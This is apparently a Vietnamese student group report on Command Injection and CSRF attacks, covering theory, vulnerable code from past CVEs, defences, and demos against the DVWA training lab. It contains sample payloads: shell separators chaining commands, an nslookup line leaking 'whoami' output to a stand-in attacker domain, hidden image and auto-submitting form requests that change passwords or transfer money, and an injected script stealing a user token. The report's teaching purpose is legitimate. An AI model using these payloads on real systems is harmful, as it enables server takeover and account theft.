MỤC LỤC

1


Phân cơng cơng việc
Trưởng nhóm: Ngụy Đình Thành
- Chịu trách nhiệm phân công công việc.
- Thực hiện phần demo thực hành của 2 kiểu tấn công.
- Tổng hợp và chỉnh sửa bản tiểu luận của nhóm và slide thuyết trình.
Thành viên: Đặng Quang Thắng
- Nghiên cứu lý thuyết phần tấn cơng CSRF.
- Thực hiện thuyết trình tấn cơng CSRF.
Thành viên: Đặng Văn Chung
- Nghiên cứu lý thuyết phần tấn công Command Injection.
- Thực hiện thuyết trình tấn cơng Command Injection.

2


LỜI MỞ ĐẦU
Ngày nay, với sự phát triển mạnh mẽ của Công nghệ Thông tin, việc sử
dụng thông tin trên mạng Internet ngày càng được mở rộng và hiệu quả trên tất
cả các ngành nghề, các lĩnh vực. Tuy nhiên, bên cạnh đó người sử dụng cũng
phải đối mặt với những nguy cơ mất mát, rị rỉ thơng tin, bị xâm hại các quyền
riêng tư khi truy cập mạng. Đây là một trong những lý do khiến người sử dụng
lo ngại. đặc biệt là các cơ quan nhà nước.
Theo số liệu thơng kê năm 2011 của BKAV, có 64,2 triệu lượt máy tính tại
Việt Nam bị nhiễm virus, 38.961 dịng virus xuất hiện mới, 2245 website của
các cơ quan, đoanh nghiệp tại Việt Nam bị tấn công, hơn 85.000 máy tính tại
Việt Nam bị cài virus Ramnit để lấy cắp dữ liệu quan trọng.

Đổi với các công ty lớn, nguy cơ bị tấn công vào hệ thống đồng nghĩa với
việc họ sẽ bị thiệt hại hàng tỷ USD, uy tín trước khách hàng bị giảm sút. Với các
cơ quan y tế và quốc phịng thì thiệt hại cịn có thể thảm khốc hơn gấp nhiều lần.
Với nguồn tài nguyên thông tin phong phú, đa dạng, hấp dẫn trên mạng
chính là sự tiềm ấn của loại hình chiến tranh mới: “Chiến tranh thơng tin".
Trong lĩnh vực An ninh Quốc phịng, mơi trường thông tin mở trên mạng
đã đặt ra những thách thức gay gắt đối với chúng ta. Một mặt ta phải tổ chức
khai thác một cách có hiệu quả và bảo vệ nguồn tài nguyên thông tin Quốc gia,
mặt khác ta cần phải chiếm được ưu thế và đánh bại đối phương bằng các địn
tấn cơng thơng tin qua mạng Internet khi cần thiết.
Theo báo Dân Việt ngày 14/06/2011, trong hơn một tuần có hàng trăm
website Việt Nam đã bị hacker tấn cơng, trong đó có khá nhiều vụ tấn công tin
tặc để lại thông điệp bằng tiếng Trung hoặc cả hình ảnh cờ Trung Quốc.
Điều này cho thấy hình thái chiến tranh thông tin đã và đang dần dần hình
thành ở Việt Nam. Vấn để an tồn thơng tin cho mạng máy tính vả việc nghiên
cửu về chiến tranh thơng tin trên mạng và giải pháp phịng tránh, đánh trả cụ thể
là một nhụ cầu cấp bách hiện nay.
Do đó, “Tấn cơng - Phịng thủ” trên mạng Internet là một trong những bài
toán cần phải được đặt ra hàng đầu trong lĩnh vực An ninh Quốc phịng ngày
nay. Vì vậy, nhóm chúng em đã chọn đề tài: "Tìm hiểu về tấn công Command
3


Injection và CSRF” làm đề tài bài tìm hiểu. Ngồi phần mở đầu, kết luận, bài
tìm hiểu của nhóm gồm 2 chương:
Chương 1: Tấn công Command Injection
Chương 2: Tấn công Cross Site Request Forgery (CSRF)

4



Chương 1
TẤN CÔNG COMMAND INJECTION
1.1. Tổng quan về Command Injection
Command Injection (hay còn gọi là shell injection) là lỗ hổng cho phép
kẻ tấn cơng thực thi các lệnh bất kì của hệ điều hành trên server chạy ứng dụng
với đặc quyền của web server. Lỗ hổng xảy ra khi một ứng dụng gọi tới lệnh
shell để thực thi một tác vụ với input do người dùng nhập vào nhưng không lọc
các input một cách cẩn thận. Kẻ tấn cơng có thể tận dụng lỗ hổng này để khai
thác, lấy thông tin, chuyển cuộc tấn công sang hệ thống khác bên trong tổ chức.
Như vậy tóm lại là dựa vào sơ hơ của Web Application, Hacker - kẻ tấn
cơng có thể thực hiện các câu lệnh, dòng code của OS để thực hiện các hành vi
không tốt đối với hệ thống. Việc tiêm thêm (injection) vào ứng dụng để thực thi
hành vi không tốt là một lỗi vô cùng nguy hiểm. Có thể gây lỗi cho host, lấy cắp
thơng tin, thậm trí chiếm quyền quản lý server.
Lỗ hổng OS command injection có thể cho phép kẻ tấn cơng thực hiện các hành
vi như:
• Thực thi lệnh hệ thống.
• Làm tổn hại tới ứng dụng, server chạy ứng dụng cũng như dữ liệu trên đó.
• Thực hiện SSRF.
• Lấy được reverse shell.
• ...
tuỳ theo đặc quyền của web server mà lỗ hổng này có thể cho phép kẻ tấn cơng
thực hiện được các hành vi khác nhau.
1.2. Cách thức tấn công Command Injection
1.2.1. Thực hiện các lệnh tùy ý trên shell
Ví dụ: />Ở đây để lấy thơng tin thì web sẽ gọi productID và store. Nhưng vì một
vài lý do nào đó, chức năng được triển khai bằng cách gọi lệnh shell với
productID và store làm đối số:
stockreport.pl 381 29

Nếu hệ thống khơng được bảo vệ chống lại Command Injection thì
5


Attacker có thể gửi đầu vào sau để thực thi lệnh tùy ý.
& command &
Ví dụ:
/>Các lệnh thường được sử dụng
Purpose of command

Linux

Windows

Tên người dùng hiện tại

whoami

whoami

OS

OSuname -a

ver

Cấu hình mạng

ifconfig


ipconfig

Kết nối mạng

netstat -an

netstat -an

Tiến trình đang chạy

ps -ef

tasklist

1.2.2. Lỗ hổng Blind command injection
Nhiều trường hợp command injection là blind vulnerabilities. Có nghĩa là
đầu ra sẽ khơng trả về trong HTTP response. Vậy kết quả sẽ k hiển thị trên màn
hình. Vậy có cách nào xác định được blind vulnerabilities.
Có thể sử dụng time delays để xác định được blind vulnerabilities. Nó sẽ
kích hoạt độ trễ, cho phép bạn xác nhận rằng lệnh này đã được thực thi hay chưa
dựa vào thời gian mà ứng dụng cần để đáp ứng. Lệnh ping là lệnh hiệu quả để
thực hiện việc này, vì nó cho phép chỉ định gói ICMP cần gửi và thời gian để
lệnh chạy:
& ping -c 10 127.0.0.1 &
Có thể khai thác lỗ hổng này bằng cách chuyển hướng đầu ra từ lệnh chèn
vào 1 tệp trong thư mục gốc mà bạn có thể đọc nó bằng trình duyệt của mình.
Ví dụ: Nếu thư mục gốc của website ở /var/www/static thì bạn có thể gửi lệnh
tiêm như sau:
&whoami > /var/www/static/whoami.txt &
Rồi sau đó bạn có thể sử dụng trình duyệt của mình truy cập

vào để truy xuất tệp và xem đầu ra từ lệnh được
chèn vào.
Ngồi ra, cịn có thể sử dụng 1 số thủ thuật khác để kiểm tra xem lệnh
tiêm đã ăn hay chưa. Ví dụ:
6


& nslookup web-attacker.com &
Attacker sẽ kiểm tra server của mình và phát hiện ra rằng lệnh đã được
tiêm thành công hay chưa. Ngồi ra cịn có thể sử dụng:
& nslookup `whoami`.web-attacker.com &
Các cách dùng để Command Injection
Đầu tiên cần phải xác định được hệ thống target đang hoạt động là gì, Windows
hay Linux? Một số ký tự có chức năng phân tách lệnh, cho phép các lệnh nối với
nhau.
•
•
•
•

&
&&
|
||

1.3. Một số lỗi Command Injection tồn tại trên thực tế
Lỗ hổng OS Command Injection là một lỗ hổng có từ rất lâu. Tuy nhiên,
khơng vì thế mà ngày nay nó khơng cịn nữa. Trên trang ta
có thể tìm thấy các CVE của lỗ hổng loại này vẫn còn tồn tại. Ví dụ như:
WordPress DZS-VideoGallery Plugin (CVE: 2014-9094)

Phiên bản DZS-VideoGallery 7.85 Plugin của WordPress có lỗ hổng có thể
truyền command injection vào đây.
Gemitel 3.50 - '/affich.php' Remote File Inclusion / Command Injection
(CVE: 2004-1934)
File: html/affich.php
Code:
$f_inc=$base."sp-turn.php";
$plus = "../"; // rajoute au chemin pour trouver les fichiers .txt
require("$f_inc");
//require("sp-turn.php");
Đọc source code ta cũng thấy được rằng đoạn require("$f_inc"); sẽ thực
thi command line. Mà $f_inc=$base."sp-turn.php". Ở đoạn này ta có thể
truyền sp-turn.php bằng $base tùy theo ý mình muốn
Pandora Fms 3.1 - OS Command Injection (CVE: 2010-4278)
1 đoạn code ngắn của file operation/agentes/networkmap.php
32 $layout = (string) get_parameter ('layout', 'radial');
...
137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;
138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;
139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;
7


...
162
$cmd = "$filter -Tcmapx -o".$filename_map." -Tpng
- -o".$filename_img." ".$filename_dot;
163
$result = system ($cmd);
Ta có thể thấy có thể command injection vào đây.

CVE-2020-9478: được tìm thấy trong Rubrik 5.0.3-2296.
CVE-2020-9020: được tìm thấy trong các thiết bị Iteris Vantage Velocity Field
Unit 2.3.1, 2.4.2, and 3.0.
CVE-2020-8427: được tìm thấy trong các phiên bản trước 9.5.20 của Kaseya
Traverse.
1.4. Cách phịng chống tấn cơng Command Injection
•

•
•

•
•

Để hạn chế lỗ hổng OS Command Injection, chúng ta cần:
Nếu không thực sự cần thiết, không sử dụng lệnh gọi các lệnh hệ thống
trong code của ứng dụng.
Không bao giờ tin tưởng giá trị đầu vào của người dùng.
Loại bỏ các ký tự đặc biệt bên server như các chuyển hướng, điều kiện
của command hệ thống.
Với mỗi loại command muốn chạy thì kiểm tra chặt chẽ đầu vào.
Nếu khơng thể tránh việc sử dụng các lệnh hệ thống, hãy chắc chắn rằng
việc chuẩn hoá dữ liệu được áp dụng đúng:
o giá trị nhập vào nằm trong whitelist các giá trị được sử dụng
o giá trị nhập vào đúng kiểu được kì vọng bởi ứng dụng (số hay
o

string...).
giá trị nhập vào chỉ chứa các kí tự chữ và số, khơng có các định
dạng hay cú pháp.


1.5. Demo tấn công Command Injection trên DVWA
1.5.1. Mức độ Low Security
- Source code cho thấy server không kiểm tra đầu vào mà thực hiện lệnh ping
với chuỗi ta nhập.

8


- Do đó ta chỉ cần ghép thêm ‘&&’ (and) vào chuỗi đầu vào để nối 2 command
với nhau có thể khiến server thực thi lệnh mà ta đưa vào.

9


- Từ đó ta có thể tấn cơng lấy được tệp config chứa tài khoản mật khẩu trên cơ
sở dữ liệu của web server.

1.5.2. Mức độ Medium Security
- Mức độ này server loại bỏ ký tự “&&” trong chuỗi đầu vào.
10


- Thay vì ‘&&’ ta sử dụng ký tự ‘|’ (or) để bypass qua lệnh ping phía trước và
thực hiện lệnh sau mà ta nhập vào.

- Phần còn lại tương tự phần trước.
1.5.3. Mức độ High Security
- Server tiếp tục kiểm tra đầu vào và loại bỏ các ký tự đặc biệt mà người dùng có
11



thể bypass để thực thi lệnh.

- Để ý thì trong danh sách các ký tự đó có ‘| ‘ chứa dấu cách. Vậy ta sử dụng ‘|’
khơng có dấu cách liền kề để thực thi lệnh.

- Tiếp theo lấy cắp dữ liệu bảo mật cơ sở dữ liệu tương tự phần Low Security.

12


Chương 2
TẤN CÔNG CROSS SITE REQUEST FORGERY (CSRF)
2.1. Tổng quan về CSRF
2.1.1. Khái niệm về CSRF
CSRF (Cross Site Request Forgery) là kĩ thuật tấn công bằng cách sử
dụng quyền chứng thực của người sử dụng đối với 1 website khác. Các ứng
dụng web hoạt động theo cơ chế nhận các câu lệnh HTTP từ người sử dụng, sau
đó thực thi các câu lệnh này.
Hacker sử dụng phương pháp CSRF để lừa trình duyệt của người dùng
gửi đi các câu lệnh http đến các ứng dụng web. Trong trường hợp phiên làm việc
của người dùng chưa hết hiệu lực thì các câu lệnh trên sẽ dc thực hiện với quyền
chứng thực của người sử dụng.
Cross-site Request Forgery (CSRF), CSRF nói đến việc tấn công vào
chứng thực request trên web thông qua việc sử dụng Cookies, nơi mà các hacker
có khả năng sử dụng thủ thuật để tạo request mà bạn không hề biết. Vì vậy, một
CSRF là hacker lạm dụng sự tin tưởng của một ứng dụng web trên trình duyệt
của nạn nhân.
CSRF là một kiểu tấn công gây sự nhầm lẫn tăng tính xác thực và cấp

quyền của nạn nhân khi gửi một request giả mạo đến máy chủ. Vì thế một lỗ
hổng CSRF ảnh hưởng đến các quyền của người dùng ví dụ như quản trị viên,
kết quả là chúng truy cập được đầy đủ quyền.
Trong khi một tấn cơng CSRF trình duyệt của nạn nhân bị lừa để gửi đi
các request đến ứng dụng web theo mong muốn của kẻ tấn cơng, thơng thường,
ví dụ một u cầu sẽ được gửi lên để thay đổi một vài dữ liệu phía server.
Khi gửi một request HTTP (hợp pháp hoặc cách khác), trình duyệt của
nận nhân sẽ bao gồm các tiêu đề cookie. Các cookie thường được dùng để lưu
trữ một session để định danh người dùng không phải xác thực lại cho mỗi yêu
cầu gửi lên, điều này hiển nhiên là không thực tế.
Nếu phiên làm việc đã xác thực của nạn nhân được lưu trữ trong một
Cookie vẫn cịn hiệu lực (một cửa sổ trình duyệt khơng nhất thiết phải mở), và
13


nếu ứng dụng dễ bị tấn công CSRF, kẻ tấn cơng có thể thử dụng CSRF để chay
bất cứ u cầu nào với trang web mà trang web không thể phân biệt được
request nào là hợp pháp hay không.
Một cuộc tấn cơng CSRF có thể được sử dụng để sửa đổi cài đặt tường
lửa, đăng dữ liệu trái phép trên diễn đàn hoặc thực hiện các giao dịch tài chính
gian lận. Một người dùng bị tấn cơng có thể khơng bao giờ biết mình đã trở
thành nạn nhân của CSRF. Thậm chí nếu người dùng có phát hiện ra cuộc tấn
cơng này, thì cũng chỉ sau khi hacker đã gây ra những thiệt hại nhất định và
khơng có biện pháp để khắc phục vấn đề này.
2.1.2. Lịch sử về tấn công CSRF
Các kiểu tấn công CSRF xuất hiện từ những năm 1990, tuy nhiên các
cuộc tấn công này xuất phát từ chính IP của người sử dụng nên log file của các
website không cho thấy các dấu hiệu của CSRF. Các cuộc tấn công theo kĩ thuật
CSRF không được báo cáo đầy đủ, đến năm 2007 mới có một vài tài liệu miêu
tả chi tiết về các trường hợp tấn cơng CSRF.

Năm 2008 người ta phát hiện ra có khoảng 18 triệu người sử dụng eBay ở
Hàn Quốc mất các thơng tin cá nhân của mình. Cũng trong năm 2008, một số
khách hàng tại ngân hàng Mexico bị mất tài khoản cá nhân của mình. Trong 2
trường hợp kể trên hacker đều sử dụng kĩ thuật tấn công CSRF.
2.2. Kịch bản tấn công CSRF
Các ứng dụng web hoạt động theo cơ chế nhận các câu lệnh HTTP từ
người sử dụng, sau đó thực thi các câu lệnh này. Hacker sử dụng phương pháp
CSRF để lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng
dụng web. Điều đó có thể thực hiện bằng cách chèn mã độc hay link đến trang
web mà người dùng đã được chứng thực. Trong trường hợp phiên làm việc của
người dùng chưa hết hiệu lực thì các câu lệnh trên sẽ được thực hiện với quyền
chứng thực của người sử dụng.
2.2.1. Cross-site Request Forgery với các GET request
Kịch bản 1:
14


Người dùng Alice truy cập 1 diễn đàn yêu thích của mình như thường lệ.
Một người dùng khác, Bob đăng tải 1 thông điệp lên diễn đàn. Giả sử rằng Bob
có ý đồ khơng tốt với Alice, Bob muốn thay đổi mật khẩu tài khoản của Alice.
Bob sẽ tạo 1 bài viết, trong đó có chèn thêm 1 đoạn code như sau:
src=" />newPassword=attackerPassword">
Để tăng hiệu quả che dấu, đoạn mã trên có thể được thêm các thơng điệp
bình thường để người dùng khơng chú ý. Thêm vào đó thẻ img sử dụng trong
trường hợp này có kích thước 0x0 pixel và người dùng sẽ không thể thấy được.
Giả sử Alie đang truy cập vào tài khoản của mình ở example.com và chưa
thực hiện logout để kết thúc. Bằng việc xem bài post, trình duyệt của Alice sẽ
đọc thẻ img và cố gắng load ảnh từ example.com, do đó sẽ gửi câu lệnh thay
pass đến địa chỉ này.

Ứng dụng web ở example.com sẽ chứng thực Alice và thực hiện thay đổi
pass Alice. Nó sẽ trả về trang kết quả mà khơng phải là ảnh, do đó trình duyệt sẽ
khơng hiển thị ảnh.
Kịch bản 2:
Giả sử rằng Bob có ý đồ k tốt và anh ta muốn lấy tiền từ những người có
tài khoản tại ngân hàng như Bob. Bob sẽ tạo 1 thơng báo, trong đó có chèn 1
đoạn code như sau:
“eBank vừa công bố lãi xuất mới….src=” />account=bob_id&amount=1000000&for=Alie_ id”/>”
Đoạn mã trên dc che giấu rất khéo léo, thứ nhất nó thêm các thơng điệp
bình thường để người dùng không chú ý. Thứ hai thẻ “trường hợp này có kích thước 0x0 pixel và người dùng sẽ không thể thấy dc. Giả
sử Alie vừa mới truy cập vào tài khoản ngân hàng của mình và chưa thực hiện
logout để kết thúc. Trình duyệt của Bob sẽ gửi câu lệnh HTTP GET đến địa chỉ
lưu trong thẻ “chứng thực của Bob.

15


2.2.2. Cross-site Request Forgery với POST requests
Để sử dụng yêu cầu POST với việc tấn công CSRF, kẻ tấn công sẽ cần sử
dụng một chút JavaScript để gửi POST request.
Ví dụ dưới đây mơ tả làm sao để CSRF có thể bị lạm dụng sử dụng POST
request thông qua việc sử dụng thẻ <iframe>. Đoạn code dưới đây sẽ tải một
iframe ngầm mà nạn nhân không hề biết.
iframe
src= />r:none;">
</iframe>

Nội dung iframe
onload="document.getElementById('csrf').submit()">


id="csrf" action=" method="POST">
<input name="newPassword" value="attackerPassword" /> </form> </body>
Như vậy người dùng sẽ rất khó để có thể phát hiện, vấn đề trách nhiệm phần lớn
thuộc về các website của các nhà cung cấp.
2.3. Cách phịng chống tấn cơng CSRF
Dựa trên ngun tắc của CSRF "lừa trình duyệt của người dùng (hoặc
người dùng) gửi các câu lệnh HTTP", các kĩ thuật phòng tránh sẽ tập trung vào
việc tìm cách phân biệt và hạn chế các câu lệnh giả mạo.
2.3.1. Phía User
Để phịng tránh trở thành nạn nhân của các cuộc tấn công CSRF, người
dùng internet nên thực hiện một số lưu ý sau:
- Nên thoát khỏi các website quan trọng: Tài khoản ngân hàng, thanh toán trực
tuyến, các mạng xã hội, gmail, yahoo… khi đã thực hiện xong giao dịch hay
các công việc cần làm. (Check - email, checkin…)
- Không nên click vào các đường dẫn mà bạn nhận được qua email, qua
facebook … Khi bạn đưa chuột qua 1 đường dẫn, phía dưới bên trái của trình
duyệt thường có địa chỉ website đích, bạn nên lưu ý để đến đúng trang mình
muốn.
16


- Không lưu các thông tin về mật khẩu tại trình duyệt của mình (khơng nên
chọn các phương thức "đăng nhập lần sau", "lưu mật khẩu" …
- Trong quá trình thực hiện giao dịch hay vào các website quan trọng khơng

nên vào các website khác, có thể chứa các mã khai thác của kẻ tấn cơng.
2.3.2. Phía Server
Có nhiều lời khuyến cáo được đưa ra, tuy nhiên cho đến nay vẫn chưa có
biện pháp nào có thể phịng chống triệt để CSRF. Sau đây là một vài kĩ thuật sử
dụng.
2.3.2.1. Lựa chọn việc sử dụng GET và POST
Sử dụng GET và POST đúng cách. Dùng GET nếu thao tác là truy vấn dữ
liệu. Dùng POST nếu các thao tác tạo ra sự thay đổi hệ thống (theo khuyến cáo
của W3C tổ chức tạo ra chuẩn http) Nếu ứng dụng của bạn theo chuẩn RESTful,
bạn có thể dùng thêm các HTTP verbs, như PATCH, PUT hay DELETE
2.3.2.2. Sử dụng captcha, các thông báo xác nhận
Captcha được sử dụng để nhận biết đối tượng đang thao tác với hệ thống
là con người hay không? Các thao tác quan trọng như "đăng nhập" hay là
"chuyển khoản", "thanh toán" thường là hay sử dụng captcha. Tuy nhiên, việc sử
dụng captcha có thể gây khó khăn cho một vài đối tượng người dùng và làm họ
khó chịu. Các thơng báo xác nhận cũng thường được sử dụng, ví dụ như việc
hiển thị một thơng báo xác nhận "bạn có muốn xóa hay k" cũng làm hạn chế các
kĩ thuật Cả hai cách trên vẫn có thể bị vượt qua nếu kẻ tấn cơng có một kịch bản
hoàn hảo và kết hợp với lỗi XSS.
2.3.2.3. Sử dụng token
Kỹ thuật phòng ngừa được sử dụng rộng rãi và khuyến nghị là sử dụng để
ngăn chặn các cuộc tấn công CSRF được biết đến là anti-CSRF token, cũng có
khi được biết đến là các mã đồng bộ.
Khi một người dùng gửi một form hoặc tạo các request được chứng thực
yêu cầu một cookie, một mã token anti-CSRF nên được bao gồm trong request.
17


Ứng dụng web sẽ xác nhận các token đã tồn tại và chính xác trước khi xử lý yêu
cầu. Nếu token khơng có hoặc khơng đúng thì request sẽ bị từ chối.

Tạo ra một token tương ứng với mỗi form, token này sẽ là duy nhất đối
với mỗi form và thường thì hàm tạo ra token này sẽ nhận đối số là"SESSION"
hoặc được lưu thông tin trong SESSION. Khi nhận lệnh HTTP POST về, hệ
thống sẽ thực hiên so khớp giá trị token này để quyết định có thực hiện hay
khơng.
Khi đó tất cả các form và Ajax request được tự động thêm sercurity token
generate bởi Rails. Nếu security token khơng khớp, exception sẽ được ném ra.
Các đặc tính của một thiết kế tốt để chống CSRF cần có như sau:
- Token chống CSRF nên được sử dụng trong mỗi session.
- Phiên làm việc nên tự động hết hạn sau một khoảng thời gian phù hợp.
- Token chống CSRF nên được max hóa với một giá trị ngẫu nhiên với độ dài
đủ an toàn.
- Token chống CSRF nên được mã hóa và được tạo ra bởi một giải thuật mã
hóa mạnh.
- Token chống CSRF được thêm vào một trường hidden field trong form hoặc
với URL (chỉ cần thiết nếu GET request thay đổi trạng thái)
- Máy chủ nên từ chối các yêu cầu nếu mã token chống CSRF không đúng.
2.3.2.4. Sử dụng cookie riêng biệt cho trang quản trị
Một cookie khơng thể dùng chung cho các domain khác nhau,chính vì vậy
việc sử dụng "admin.site.com" thay vì sử dụng "site.com/admin" là an tồn hơn.
Thuộc tính Cookie cùng một trang web là một thuộc tính mới có thể được
đặt trên Cookies để hướng dẫn trình duyệt tắt tính năng sử dụng của bên thứ ba
đối với Cookies cụ thể.
Thuộc tính cùng trang web được thiết lập bởi máy chủ khi thiết lập
Cookie và yêu cầu trình duyệt chỉ gửi cookie của bên thứ nhất, do đó yêu cầu
phải bắt nguồn từ cùng một yêu cầu nguồn gốc được tạo bởi các trang web bên
thứ ba. Sẽ không bao gồm Cookie cùng một trang. Điều này có hiệu quả loại bỏ
(CSRF) mà khơng cần sử dụng mã thẻ synchronizer. Thật không may, phương
pháp CSRF này chỉ có hiệu quả trong một số trình duyệt hiện đại.
Trong khi các cuộc tấn công từ chối yêu cầu qua trang web (CSRF) không

cung cấp cho kẻ tấn công phản hồi từ máy chủ, một kẻ tấn cơng thơng minh có
18


thể gây ra một số lượng thiệt hại đáng kể, đặc biệt khi kết hợp với cuộc tấn công
kỹ thuật xã hội tốt với người dùng quản trị.
2.3.2.5. Kiểm tra REFERRER và IP
Kiểm tra xem các câu lệnh http gửi đến hệ thống xuất phát từ đâu. Một
ứng dụng web có thể hạn chế chỉ thực hiện các lệnh http gửi đến từ các trang đã
được chứng thực. Tuy nhiên cách làm này có nhiều hạn chế và khơng thật sự
hiệu quả.
Một số hệ thống quan trọng chỉ cho truy cập từ những IP được thiết lập sẵn.
2.4. Demo tấn công CSRF trên DVWA
2.4.1. Mức độ Low Security
- Đầu tiên ta xem xét source code. Nhận thấy website chỉ kiểm tra đầu vào thỏa
mãn password_new và password_conf trùng khớp thông qua phương thức GET.

- Ta tạo một trang web gửi nội dung thay đổi password tới máy chủ với giá trị
được ẩn dấu.

19


- Khi người dùng click nút Change sẽ gửi yêu cầu đến server và tiến hành thay
đổi password người dùng.

- Thông báo thay đổi mật khẩu thành công.

20

2.4.2. Mức độ Medium Security
- Xem xét source code ta thấy server sẽ cịn kiểm tra thêm giá trị Http_Referer
có trùng khớp với Server_name hay không trước khi thực hiện change password.

- Ta chèn link “/dvwa/vulnerabilities/csrf/?
21


password_new=hacked&password_conf=hacked&Change=Change#” vào phần
XSS (Stored) của DVWA.

- Kết quả khi truy cập page này thì trình duyệt sẽ tự động tải ngầm đường link
trên và sử dụng luôn Http_Referer của người dùng để thay đổi password.

2.4.3. Mức độ High Security
- Từ source code thấy được ở phần này server kiểm tra token người dùng gửi đi
phải trùng khớp với token mà server tạo ra. Mà token này chỉ người dùng được
xác thực mới có.

22


- Ta tạo 1 file Javascript để đánh cắp User_token của người dùng đồng thời thực
hiện lệnh GET để thay đổi password.

- Chèn <script src="http://localhost:8080/code.js"></script> vào XSS (DOM)
23

của DVWA. Chạy script và ta thu được user token đồng thời thành công Change
password.

24


KẾT LUẬN
Đánh giá độ nguy hiểm của các phương thức tấn công là việc làm cần
thiết nhằm định hướng cho người dùng lựa chọn sử dụng các trình duyệt có tính
năng và độ an tồn phù hợp, tự bảo vệ bản thân khi tham gia Internet, cũng như
để các nhà phát triển ứng dụng web có thể hồn thiện sản phẩm của mình để
tránh các nguy cơ bảo mật.
Bài tìm hiểu của nhóm đã nêu lên được những nội dung cơ bản về tấn
công Command Injection và CSRF, cũng như các giải pháp về đảm bảo an toàn
cho người dùng chống lại 2 kiểu tấn công trên.
Do hạn chế về thời gian, cũng như trình độ nghiên cứu của nhóm cịn hạn
chế nên bài tìm hiểu khơng thể tránh khỏi có những thiếu sót. Chúng em rất
mong muốn nhận được ý kiến phản hồi và các góp ý cho các thiếu sót từ phía
Thầy/cơ để bài tìm hiểu của chúng em được hoàn thiện hơn.

25